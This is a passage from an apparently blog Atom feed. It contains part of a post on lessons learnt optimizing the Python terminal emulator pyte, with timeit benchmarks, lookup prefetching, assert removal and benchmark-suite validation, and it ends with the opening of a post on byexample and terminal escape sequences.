&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;y&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;

&lt;span class="mf"&gt;16.1&lt;/span&gt; &lt;span class="n"&gt;ns&lt;/span&gt; &lt;span class="err"&gt;±&lt;/span&gt; &lt;span class="mf"&gt;0.321&lt;/span&gt; &lt;span class="n"&gt;ns&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;loop&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mean&lt;/span&gt; &lt;span class="err"&gt;±&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="n"&gt;runs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;000&lt;/span&gt;
&lt;span class="n"&gt;loops&lt;/span&gt; &lt;span class="n"&gt;each&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;%%&lt;/span&gt;&lt;span class="n"&gt;timeit&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;

&lt;span class="mf"&gt;19.3&lt;/span&gt; &lt;span class="n"&gt;ns&lt;/span&gt; &lt;span class="err"&gt;±&lt;/span&gt; &lt;span class="mf"&gt;0.584&lt;/span&gt; &lt;span class="n"&gt;ns&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;loop&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mean&lt;/span&gt; &lt;span class="err"&gt;±&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="n"&gt;runs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;000&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;000&lt;/span&gt;
&lt;span class="n"&gt;loops&lt;/span&gt; &lt;span class="n"&gt;each&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="loops"&gt;Loops&lt;/h2&gt;
&lt;p&gt;Doing a loop in Python is okay but doing it in C is much faster:&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;%%&lt;/span&gt;&lt;span class="n"&gt;timeit&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;)};&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="p"&gt;:&lt;/span&gt;    &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="mi"&gt;292&lt;/span&gt; &lt;span class="n"&gt;µs&lt;/span&gt; &lt;span class="err"&gt;±&lt;/span&gt; &lt;span class="mf"&gt;6.35&lt;/span&gt; &lt;span class="n"&gt;µs&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;loop&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mean&lt;/span&gt; &lt;span class="err"&gt;±&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="n"&gt;runs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;000&lt;/span&gt; &lt;span class="n"&gt;loops&lt;/span&gt; &lt;span class="n"&gt;each&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;%%&lt;/span&gt;&lt;span class="n"&gt;timeit&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;)};&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;map&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

&lt;span class="mi"&gt;179&lt;/span&gt; &lt;span class="n"&gt;µs&lt;/span&gt; &lt;span class="err"&gt;±&lt;/span&gt; &lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="n"&gt;µs&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;loop&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mean&lt;/span&gt; &lt;span class="err"&gt;±&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="n"&gt;runs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;000&lt;/span&gt; &lt;span class="n"&gt;loops&lt;/span&gt; &lt;span class="n"&gt;each&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h2 id="attributemethods-lookups"&gt;Attribute/methods lookups&lt;/h2&gt;
&lt;p&gt;In C, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;baz&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is typically resolved by the compiler as an offset from the base address of &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; at compile time. Not big deal.&lt;/p&gt;
&lt;p&gt;But due the dynamic nature of Python, &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;foo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;baz&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; not only needs to be resolved at runtime but every single time because the objects may change and point to another.&lt;/p&gt;
&lt;p&gt;When a lookup is done in a loop, prefetching the attribute or method before the loop saves precious time.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;%%&lt;/span&gt;&lt;span class="n"&gt;timeit&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;)};&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="p"&gt;:&lt;/span&gt;    &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="mi"&gt;301&lt;/span&gt; &lt;span class="n"&gt;µs&lt;/span&gt; &lt;span class="err"&gt;±&lt;/span&gt; &lt;span class="mf"&gt;6.56&lt;/span&gt; &lt;span class="n"&gt;µs&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;loop&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mean&lt;/span&gt; &lt;span class="err"&gt;±&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="n"&gt;runs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;000&lt;/span&gt; &lt;span class="n"&gt;loops&lt;/span&gt; &lt;span class="n"&gt;each&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="o"&gt;%%&lt;/span&gt;&lt;span class="n"&gt;timeit&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="n"&gt;x&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;x&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nb"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;)};&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="n"&gt;get&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;
&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;k&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;keys&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="p"&gt;:&lt;/span&gt;    &lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;k&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="mi"&gt;286&lt;/span&gt; &lt;span class="n"&gt;µs&lt;/span&gt; &lt;span class="err"&gt;±&lt;/span&gt; &lt;span class="mf"&gt;10.8&lt;/span&gt; &lt;span class="n"&gt;µs&lt;/span&gt; &lt;span class="n"&gt;per&lt;/span&gt; &lt;span class="n"&gt;loop&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mean&lt;/span&gt; &lt;span class="err"&gt;±&lt;/span&gt; &lt;span class="n"&gt;std&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;dev&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt; &lt;span class="n"&gt;of&lt;/span&gt; &lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="n"&gt;runs&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="mi"&gt;000&lt;/span&gt; &lt;span class="n"&gt;loops&lt;/span&gt; &lt;span class="n"&gt;each&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;It may not seem like much but in the example above I prefetched a single method; in complex loops prefetching more things will speed it up.&lt;/p&gt;
&lt;h2 id="remove-asserts"&gt;Remove asserts&lt;/h2&gt;
&lt;p&gt;Assertions are great for check invariants of the code: things that &lt;strong&gt;must&lt;/strong&gt; be guaranteed to make any sense of the programs.&lt;/p&gt;
&lt;p&gt;&lt;label for='CldlbGwsIHRoaXMgaXMgdHJ1ZSBmb3IgQy9DKysgYnV0IG5vdCBzdHJpY3RseSB0cnVlIGZvciBQeXRob24uIEFuCmBhc3NlcnRgIGluIFB5dGhvbiByYWlzZXMgYW4gYEFzc2VydGlvbkVycm9yYCB0aGF0IGNhbiBiZSBjYXB0dXJlZCBsaWtlCmFueSBvdGhlciBleGNlcHRpb24uCgpZb3UgbWF5IHRoaW5rIHRoYXQgbm9ib2R5IHdvdWxkIHdhbnQgdG8gY2FwdHVyZSBhbiBgQXNzZXJ0aW9uRXJyb3JgIGJ1dCwKc29ycnkgdG8gc2F5LCB0aGlzIGV4Y2VwdGlvbiBpbmhlcml0cyBmcm9tIGBFeGNlcHRpb25gIGFuZCBpdCBpcyBxdWl0ZQpjb21tb24gdG8gY2FwdHVyZSB0aG9zZS4KbWFyZ2lubm90ZXM=' class='margin-toggle'&gt; &amp;#8853;&lt;/label&gt;
&lt;input type='checkbox' id='CldlbGwsIHRoaXMgaXMgdHJ1ZSBmb3IgQy9DKysgYnV0IG5vdCBzdHJpY3RseSB0cnVlIGZvciBQeXRob24uIEFuCmBhc3NlcnRgIGluIFB5dGhvbiByYWlzZXMgYW4gYEFzc2VydGlvbkVycm9yYCB0aGF0IGNhbiBiZSBjYXB0dXJlZCBsaWtlCmFueSBvdGhlciBleGNlcHRpb24uCgpZb3UgbWF5IHRoaW5rIHRoYXQgbm9ib2R5IHdvdWxkIHdhbnQgdG8gY2FwdHVyZSBhbiBgQXNzZXJ0aW9uRXJyb3JgIGJ1dCwKc29ycnkgdG8gc2F5LCB0aGlzIGV4Y2VwdGlvbiBpbmhlcml0cyBmcm9tIGBFeGNlcHRpb25gIGFuZCBpdCBpcyBxdWl0ZQpjb21tb24gdG8gY2FwdHVyZSB0aG9zZS4KbWFyZ2lubm90ZXM=' class='margin-toggle'/&gt;
&lt;span class='marginnote'&gt;
Well, this is true for C/C++ but not strictly true for Python. An &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;assert&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; in Python raises an &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="ne"&gt;AssertionError&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; that can be captured like any other exception.
&lt;br /&gt;&lt;br /&gt;
You may think that nobody would want to capture an &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="ne"&gt;AssertionError&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but, sorry to say, this exception inherits from &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="ne"&gt;Exception&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; and it is quite common to capture those.
&lt;/span&gt;&lt;/p&gt;
&lt;p&gt;If an invariants ends up to be false, an assert on that will fail leading the program to its termination.&lt;/p&gt;
&lt;p&gt;It is like a self-destruction mechanism.&lt;/p&gt;
&lt;p&gt;An indeed if something really bad happen to the program’s state, not further action may be safe to execute. It is better to die as quickly as possible and avoid doing more damage.&lt;/p&gt;
&lt;p&gt;An &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;assert&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; requires &lt;em&gt;at least&lt;/em&gt; a check; complex invariants will require complex asserts and this leads to spend more time on that..&lt;/p&gt;
&lt;p&gt;In C and similar the asserts can be removed with a compilation flag: you can have them enabled during testing but disabled on production.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;assert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;expensive&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;When disabled, neither the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="k"&gt;assert&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; nor the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;expensive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; function are called.&lt;/p&gt;
&lt;p&gt;Python with the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;O&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; flag has something similar: the asserts are not executed &lt;strong&gt;but&lt;/strong&gt; the asserts’ arguments do.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;foo&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="k"&gt;assert&lt;/span&gt; &lt;span class="n"&gt;expensive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;expensive&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; is executed with or without &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;O&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; – a pointless optimization IMHO.&lt;/p&gt;
&lt;p&gt;An easy win for optimization is just to &lt;strong&gt;remove&lt;/strong&gt; the asserts.&lt;/p&gt;
&lt;h2 id="ensure-your-benchmark-suite-is-valid"&gt;Ensure your benchmark suite is valid&lt;/h2&gt;
&lt;p&gt;When doing a benchmark the first thing to validate is not if it ran faster or slower. The first thing to validate is that the output of your benchmark makes sense.&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; a benchmark test consists in a input file that it is passed through &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Stream&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; that turns it into actions on the &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Screen&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;It is important then that this processing makes sense before using it for benchmarking.&lt;/p&gt;
&lt;p&gt;Guess what…&lt;/p&gt;
&lt;p&gt;I found that the test suite was incorrectly implemented. The input files are &lt;em&gt;binary&lt;/em&gt; files and &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Stream&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; opens them as &lt;em&gt;text&lt;/em&gt; files (UTF8).&lt;/p&gt;
&lt;p&gt;This mismatch made the &lt;em&gt;return line&lt;/em&gt; &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;\&lt;span class="n"&gt;r&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; to be missed from the stream.&lt;/p&gt;
&lt;p&gt;This is not how real code would use &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; so the benchmark suite was invalid.&lt;/p&gt;
&lt;p&gt;The fix was to use &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;pyte&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ByteStream&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; but I had to pay the price to run all the tests again (hours lost).&lt;/p&gt;
&lt;h2 id="have-a-parallel-project-for-benchmark"&gt;Have a parallel project for benchmark&lt;/h2&gt;
&lt;p&gt;Trying different things may make you repo a little messy. For running benchmark it is better to have a second repo and use the first as upstream.&lt;/p&gt;
&lt;div class="highlight-candombe"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;ls&lt;span class="w"&gt; &lt;/span&gt;proj/pyte&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;# main project&lt;/span&gt;
$&lt;span class="w"&gt; &lt;/span&gt;git&lt;span class="w"&gt; &lt;/span&gt;clone&lt;span class="w"&gt; &lt;/span&gt;proj/pyte&lt;span class="w"&gt; &lt;/span&gt;proj/benchmark_pyte&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="c1"&gt;# second project&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;Then, only what it is committed and update on &lt;code&gt;&lt;span class="highlight-candombe-inline"&gt;&lt;span class="n"&gt;benchmark_pyte&lt;/span&gt;&lt;/span&gt;&lt;/code&gt; will be used for the benchmark.&lt;/p&gt;
&lt;h2 id="plan-the-benchmark-execution"&gt;Plan the benchmark execution&lt;/h2&gt;
&lt;p&gt;When a full benchmark execution takes &lt;strong&gt;hours&lt;/strong&gt;, you need to know &lt;em&gt;what&lt;/em&gt; and &lt;em&gt;when&lt;/em&gt; you really need to run and run only that.&lt;/p&gt;
&lt;p&gt;Save your time.&lt;/p&gt;
</content>
    <link href="https://book-of-gehn.github.io/articles/2022/07/17/Lessons-Learnt-Optimizing-Pyte.html" rel="alternate" type="text/html" title="Lessons Learnt Optimizing Pyte"/>
    <category term="python" label="python"/>
    <category term="pyte" label="pyte"/>
    <category term="terminal" label="terminal"/>
    <category term="optimization" label="optimization"/>
    <category term="performance" label="performance"/>
    <published>2022-07-17T00:00:00+00:00</published>
  </entry>
  <entry>
    <id>https://book-of-gehn.github.io/articles/2022/07/15/Sparse-Aware-Optimizations-for-Terminal-Emulator-Pyte.html</id>
    <title>Sparse Aware Optimizations for Terminal Emulator Pyte</title>
    <updated>2022-07-15T00:00:00+00:00</updated>
    <author>
      <name>Martin Di Paola</name>
    </author>
    <content type="html">&lt;p&gt;&lt;a href="https://byexamples.github.io/byexample/"&gt;byexample&lt;/a&gt; is a tool that reads snippets of code from your documentation, executes them and compares the obtained results with the expected ones, from your docs too.&lt;/p&gt;
&lt;p&gt;If a mismatch happen we say that the &lt;em&gt;example&lt;/em&gt; in your documentation failed that could mean one of two things:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;your code (the snippet) does not do what you expect so it has a bug&lt;/li&gt;
&lt;li&gt;or the code does exactly what it is supposed but you forgot to update your doc.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;em&gt;Very useful for testing and keep your docs in sync!&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;But &lt;a href="https://byexamples.github.io/byexample/"&gt;byexample&lt;/a&gt; does not really execute anything by itself. Having to code an interpreter for Ruby, Java, C++ and others would be &lt;em&gt;insane&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Instead, &lt;a href="https://byexamples.github.io/byexample/"&gt;byexample&lt;/a&gt; sends the snippets of code toa standard interpreter like &lt;a href="https://github.com/ruby/irb"&gt;IRB&lt;/a&gt; for Ruby or &lt;a href="https://github.com/root-project/cling"&gt;cling&lt;/a&gt; for C++.&lt;/p&gt;
&lt;p&gt;Interpreting the output from they is not always trivial.&lt;/p&gt;
&lt;p&gt;When a interpreter prints to the terminal, it may write special &lt;a href="https://en.wikipedia.org/wiki/ANSI_escape_code"&gt;escape/control sequences&lt;/a&gt;, invisible to human eyes, but interpreted by the terminal.&lt;/p&gt;
